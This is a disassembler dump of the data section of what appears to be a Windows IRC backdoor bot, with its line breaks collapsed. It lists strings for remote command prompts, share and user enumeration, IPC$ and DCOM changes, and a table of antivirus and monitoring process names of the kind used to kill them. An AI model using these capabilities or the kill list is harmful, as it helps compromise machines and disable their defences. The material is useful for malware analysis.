sub_41927A+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_43BD18 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_41927A+89o dd 73252720h, 27h unk_43BD34 db 2Dh ; - ; DATA XREF: sub_41927A+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41946F+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_41946F+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_41946F+B5o unk_43BD80 db 2Dh ; - ; DATA XREF: sub_41946F+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_41946F+26o align 10h unk_43BDE0 db 2Dh ; - ; DATA XREF: sub_419590+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_43BE08 db 2Dh ; - ; DATA XREF: sub_419590+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_43BE38 db 2Dh ; - ; DATA XREF: sub_419590+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_43BE58 db 2Dh ; - ; DATA XREF: sub_4196D6+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4196D6+36Ao align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4196D6+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4196D6+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4196D6+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4196D6+2C4o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4196D6+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4196D6+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4196D6+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4196D6+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4196D6+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4196D6+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4196D6+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4196D6+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4196D6+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4196D6+125o aGuest db 'Guest',0 ; DATA XREF: sub_4196D6:loc_4197EFo align 4 aUser_2 db 'User',0 ; DATA XREF: sub_4196D6:loc_4197E8o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_4196D6:loc_4197E1o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4196D6+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4196D6+ACo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4196D6+81o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_4196D6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_419AA4+145o align 4 unk_43C014 db 2Dh ; - ; DATA XREF: sub_419AA4:loc_419B91o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_6 db ' %S',0 ; DATA XREF: sub_419AA4+BAo align 4 unk_43C048 db 2Dh ; - ; DATA XREF: sub_419AA4+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_419AA4+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419C1A:loc_419D37o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419C1A:loc_419D30o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419C1A:loc_419D29o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419C1A:loc_419D22o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419C1A:loc_419D1Bo align 8 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_419C1A:loc_419CFEo db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419C1A:loc_419CF7o align 10h aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419C1A:loc_419CF0o align 8 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_419C1A+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_419C1A:loc_419CC5o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419C1A:loc_419CBEo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_419C1A:loc_419CB7o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419C1A:loc_419CADo align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419C1A+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419C1A:loc_419C87o align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419C1A:loc_419C7Do align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419C1A:loc_419C73o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_419C1A:loc_419C69o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419C1A:loc_419C5Fo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419C1A+3Bo align 4 dword_43C358 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419D4E+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43C384 db 2Dh ; - ; DATA XREF: sub_419D4E+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 10h dword_43C3B0 dd 7530h align 8 off_43C3B8 dd offset aRegedit_exe ; DATA XREF: sub_419E77:loc_419F3Dr ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_43C4C0 dd offset dword_43C4B4 dd offset dword_43C4A8 dd offset dword_43C49C dd offset dword_43C490 dd offset dword_43C484 dd offset dword_43C474 dd offset dword_43C468 dd offset dword_43C45C dd offset dword_43C450 dd offset dword_43C444 dd offset dword_43C434 dd offset dword_43C428 dd offset dword_43C418 dword_43C418 dd 72313169h, 346E3435h, 6578652Eh, 0dword_43C428 dd 6E757269h, 78652E34h, 65hdword_43C434 dd 75643364h, 74616470h, 78652E65h, 65hdword_43C444 dd 65746172h, 6578652Eh, 0dword_43C450 dd 74617373h, 78652E65h, 65hdword_43C45C dd 736E6977h, 652E7379h, 6578hdword_43C468 dd 756E6977h, 652E6470h, 6578hdword_43C474 dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_43C484 dd 61656262h, 2E656C67h, 657865hdword_43C490 dd 696E6550h, 2E323373h, 657865hdword_43C49C dd 6B656574h, 2E736469h, 657865hdword_43C4A8 dd 4C42534Dh, 2E545341h, 657865hdword_43C4B4 dd 7663736Dh, 2E323362h, 657865hdword_43C4C0 dd 69737973h, 2E6F666Eh, 657865haPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:0043C3DCo align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:0043C3D8o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .packed:0043C3D4o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .packed:0043C3D0o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .packed:0043C3CCo align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: .packed:0043C3C8o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .packed:0043C3C4o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .packed:0043C3C0o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .packed:0043C3BCo align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .packed:off_43C3B8o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419E77+181o align 10h unk_43C570 db 2Dh ; - ; DATA XREF: sub_41A09A:loc_41A127o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43C594 db 2Dh ; - ; DATA XREF: sub_41A09A+86o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_43C5B8 db 2Dh ; - ; DATA XREF: sub_41A09A+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A237+33o unk_43C5E8 db 2Dh ; - ; DATA XREF: sub_41A2BE:loc_41A3F0o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43C618 db 2Dh ; - ; DATA XREF: sub_41A2BE+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_43C640 db 2Dh ; - ; DATA XREF: sub_41A2BE:loc_41A3A4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_43C670 db 2Dh ; - ; DATA XREF: sub_41A413+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43C6A4 db 2Dh ; - ; DATA XREF: sub_41A413+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 dword_43C6C8 dd 1D4C0h off_43C6CC dd offset dword_43C704 ; DATA XREF: sub_41A628:loc_41A7DDr ; sub_41A628+1C3r ... dword_43C6D0 dd 0 dd offset dword_43C6FC dd 0 dd offset dword_43C6F8 dd offset dword_43C6F4 dd offset dword_43C6F0 dd offset dword_43C6EC dword_43C6EC dd 5C3A44h dword_43C6F0 dd 2444h dword_43C6F4 dd 5C3A43h dword_43C6F8 dd 2443h dword_43C6FC dd 494D4441h, 244Ehdword_43C704 dd 24435049h, 0 dword_43C70C dd 234032Dh, 75636573h, 3026572h ; sub_41A94E+2DDo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43C73C dd 234032Dh, 75636573h, 3026572haNetworkSharesD db '- Network shares deleted.',0 align 4 dword_43C764 dd 234032Dh, 75636573h, 3026572haFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 10h dword_43C790 dd 234032Dh, 75636573h, 3026572haShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_43C7B4 dd 234032Dh, 75636573h, 3026572haFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 10h dword_43C7E0 dd 234032Dh, 75636573h, 3026572haShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_43C804 dd 234032Dh, 75636573h, 3026572h ; sub_41A94E:loc_41AA7Co aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43C834 dd 234032Dh, 75636573h, 3026572haFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43C870 dd 234032Dh, 75636573h, 3026572haRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_43C8A4 dd 234032Dh, 75636573h, 3026572haFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 10h aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A628+EDo ; sub_41A94E+EDo align 4 dword_43C8F4 dd 234032Dh, 75636573h, 3026572h ; sub_41A94E+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43C924 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A628:loc_41A69Bo dd 62617369h, 2E64656Ch, 0 dword_43C944 dd 234032Dh, 75636573h, 3026572haDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A628+54o ; sub_41A94E+54o align 4 dword_43C974 dd 234032Dh, 75636573h, 3026572haNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A94E+22Fo align 10h aC_2 db '%c$',0 ; DATA XREF: sub_41A94E+21Eo dword_43C9A4 dd 234032Dh, 75636573h, 3026572h ; sub_41A94E:loc_41ABC6o aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43C9CC dd 234032Dh, 75636573h, 3026572h ; sub_41A94E+271o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43C9EC dd 234032Dh, 75636573h, 3026572haFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43CA28 dd 234032Dh, 75636573h, 3026572haUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 10h dword_43CA60 dd 234032Dh, 75636573h, 3026572haFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 10h dword_43CAA0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A94E:loc_41A9C1o dd 6C62616Eh, 2E6465h dword_43CABC dd 234032Dh, 75636573h, 3026572haEnableDcomFail db '- Enable DCOM failed.',0 align 10h aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41ACA2+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 8 dword_43CB18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41AE7F+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AE7F+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AE7F+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AE7F+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AE7F+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AE7F+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AE7F+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AE7F+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AE7F+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AE7F+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AE7F+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AE7F+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AE7F+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AE7F+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AE7F+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AE7F+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AE7F+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AE7F+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AE7F+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AE7F+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AE7F+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AE7F+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AE7F+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AE7F+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AE7F+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AE7F+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AE7F+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41B05C+39o dword_43CD30 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41B1FC+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43CE0C dd 4D3A6464h, 793A4D4Dh, 797979haCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B1FC:loc_41B360o align 10h aSS_2 db '%s (%s)',0 ; DATA XREF: sub_41B1FC+EBo dword_43CE38 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B4B0+ABo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43CE7C dd offset loc_412F4E ; DATA XREF: sub_41B4B0:loc_41B524o off_43CE80 dd offset dword_4E414C ; DATA XREF: sub_41B4B0:loc_41B51Do dword_43CE84 dd 6C616944h, 70752Dhdword_43CE8C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_43CE9C db 2Dh ; - ; DATA XREF: sub_41B576:loc_41B733o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConn_0 db ' Failed to connect to HTTP server.',0 align 4 unk_43CECC db 2Dh ; - ; DATA XREF: sub_41B576:loc_41B72Co db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43CEF8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B576+1A6o dd 4C525520h, 2Eh unk_43CF14 db 2Dh ; - ; DATA XREF: sub_41B576:loc_41B70Fo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43CF50 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B576+192o dd 64657469h, 2Eh dword_43CF6C dd 2A2F2Ah dword_43CF70 dd 0A4D0628h align 10h dword_43CF80 dd 173Fh dd 9875h, 9873h off_43CF8C dd offset sub_41CF18 ; DATA XREF: sub_41BF54r dd offset nullsub_2 dd offset nullsub_2 dword_43CF98 dd 1B3Fh dword_43CF9C dd 19930520h, 4 dup(0) ; sub_41D41A+2o off_43CFB0 dd offset sub_41BF92 ; DATA XREF: sub_41E229+1Cr dword_43CFB4 dd 2 ; sub_423EAD+46r ... dd 10h, 0 off_43CFC0 dd offset off_43CFC0 ; DATA XREF: sub_41F176+Do ; sub_41F176+69o ... off_43CFC4 dd offset off_43CFC0 ; DATA XREF: sub_41F176:loc_41F1F6r ; sub_41F176+89w ... dd offset dword_43CFD8 dd offset dword_43CFD8 dword_43CFD0 dd 0FFFFFFFFh ; sub_41F2BA:loc_41F307w dd 0FFFFFFFFh dword_43CFD8 dd 0F0h, 0F1h, 800h dup(0) ; .packed:0043CFCCo off_43EFE0 dd offset off_43CFC0 ; DATA XREF: sub_41F2BA+15r ; sub_41F2BA+20w ... dword_43EFE4 dd 1E0h ; sub_41BCE3:loc_41BD1Fr ... off_43EFE8 dd offset word_43EFF2 ; DATA XREF: sub_41BEBE+23r ; sub_41BEBE:loc_41BF1Fr ... off_43EFEC dd offset word_43EFF2 ; DATA XREF: sub_427461+18r db 2 dup(0) word_43EFF2 dw 20h ; DATA XREF: sub_425680+18r ; .packed:off_43EFE8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43F1F4 dd 1 ; sub_41BEBE:loc_41BF0Ar ... byte_43F1F8 db 2Eh ; DATA XREF: sub_420D10:loc_421004r ; sub_420D10+311r ... align 4 dd 1 off_43F200 dd offset aNull_0 ; DATA XREF: sub_41FE9F:loc_420203r ; sub_41FE9F+457r ; "(null)" off_43F204 dd offset aNull ; DATA XREF: sub_41FE9F+259r ; "(null)" byte_43F208 db 1 ; DATA XREF: sub_4206A9+E1r db 2, 4, 8 align 10h dword_43F210 dd 3A4h dword_43F214 dd 82798260h, 21h, 0dword_43F220 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43F300 dd 1 ; sub_420BDF+Co dword_43F304 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43F468 dd 0D2D0920h, 5Dh ; sub_420D10:loc_421277o dword_43F470 dd 5Dh, 0 dword_43F478 dd 14h off_43F47C dd offset aExp ; DATA XREF: sub_421E24:loc_421E41r ; "exp" dd 1Dh, 42887Ch, 1Ah, 428878h, 1Bh, 428870h, 1Fh, 428868h dd 13h, 428860h, 21h, 428858h, 0Eh, 428850h, 0Dh, 428848h dd 0Fh, 428840h, 10h, 428838h, 5, 428830h, 1Eh, 42882Ch dd 12h, 428828h, 20h, 428824h, 0Ch, 42881Ch, 0Bh, 428814h dd 15h, 42880Ch, 1Ch, 428804h, 19h, 4287FCh, 11h, 4287F4h dd 18h, 4287ECh, 16h, 4287E4h, 17h, 4287DCh, 22h, 4287D8h dd 23h, 4287D4h, 24h, 4287D0h dbl_43F550 dq 1.797693134862316e308 ; DATA XREF: sub_421B5F+B7r ; sub_421B5F:loc_421C46r ... dd 0 dd 0FFF80000h dbl_43F560 dq 1.797693134862316e308 ; DATA XREF: sub_421B5F+92r ; sub_421B5F:loc_421C1Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43F578 dt 2.3562723457267347066e313 ; DATA XREF: sub_42200C+Dr ; sub_42200C+1Fr align 4 tbyte_43F584 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42200C+31r align 10h off_43F590 dd offset sub_4224A0 ; DATA XREF: sub_41CF30+Fw ; sub_41FE9F+3AAr off_43F594 dd offset sub_422135 ; DATA XREF: sub_41CF30+5w ; sub_41FE9F+3E2r off_43F598 dd offset sub_42219B ; DATA XREF: sub_41CF30+14w ; sub_420D10+430r off_43F59C dd offset sub_4220DB ; DATA XREF: sub_41CF30+1Ew ; sub_41FE9F+3CBr off_43F5A0 dd offset sub_422183 ; DATA XREF: sub_41CF30+28w off_43F5A4 dd offset sub_4224A0 ; DATA XREF: sub_41CF30+32w dd offset sub_424F3C align 10h dd offset sub_422D5C off_43F5B4 dd offset sub_422D5C ; DATA XREF: sub_422DB2+29r off_43F5B8 dd offset dword_4DE480 ; DATA XREF: sub_422F2B+55o align 10h dd offset dword_4DE480 dd 101h dword_43F5C8 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_43F5D8 dd 3 dup(0) ; sub_41FD8A+50o ... dd 2, 0FFFFFFFFh, 3 dup(0) dword_43F5F8 dd 3 dup(0) ; sub_420C46:loc_420C64o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43F628 dd 84h dup(0) dword_43F838 dd 0C0000005h ; sub_423713+Ar ... dword_43F83C dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43F8B0 dd 3 ; sub_426185+C8r dword_43F8B4 dd 7 ; sub_426185+CDr dword_43F8B8 dd 0Ah ; sub_4262B2+4r dword_43F8BC dd 8Ch ; sub_4235D2+8Fw ... dword_43F8C0 dd 0FFFFFFFFh, 0A00h ; sub_41FD8A:loc_41FE47o dword_43F8C8 dd 2 ; sub_423EAD+28r off_43F8CC dd offset aR6002FloatingP ; DATA XREF: sub_423EAD+FCr ; sub_423EAD+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 428B9Ch, 9, 428B70h, 0Ah, 428B4Ch, 10h, 428B20h dd 11h, 428AF0h, 12h, 428ACCh, 13h, 428AA0h, 18h, 428A68h dd 19h, 428A40h, 1Ah, 428A08h, 1Bh, 4289D0h, 1Ch, 4289A8h dd 78h, 428998h, 79h, 428988h, 7Ah, 428978h, 0FCh, 436514h dd 0FFh, 428968h dword_43F958 dd 2 dup(0) dword_43F960 dd 2694h ; sub_421814+46r align 8 dword_43F968 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43F980 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43F998 dd 7080h ; sub_42501C+5Ew ... dword_43F99C dd 1 ; sub_42501C+8Bw ... dword_43F9A0 dd 0FFFFF1F0h ; sub_42501C+94w ... dword_43F9A4 dd 545350h, 0Fh dup(0)dword_43F9E4 dd 544450h, 0Fh dup(0)off_43FA24 dd offset dword_43F9A4 ; DATA XREF: sub_42501C+BAr ; sub_42501C+D9r ... off_43FA28 dd offset dword_43F9E4 ; DATA XREF: sub_42501C+F4r ; sub_42501C+11Br ... align 10h dword_43FA30 dd 0FFFFFFFFh ; sub_42527A+1Er ... dword_43FA34 dd 0 ; sub_425426+BFw dword_43FA38 dd 0 ; sub_425426+E0w align 10h dword_43FA40 dd 0FFFFFFFFh ; sub_42527A+26r ... dword_43FA44 dd 0 ; sub_425426+EAw ... dword_43FA48 dd 0 ; sub_425426+23r ... dword_43FA4C dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 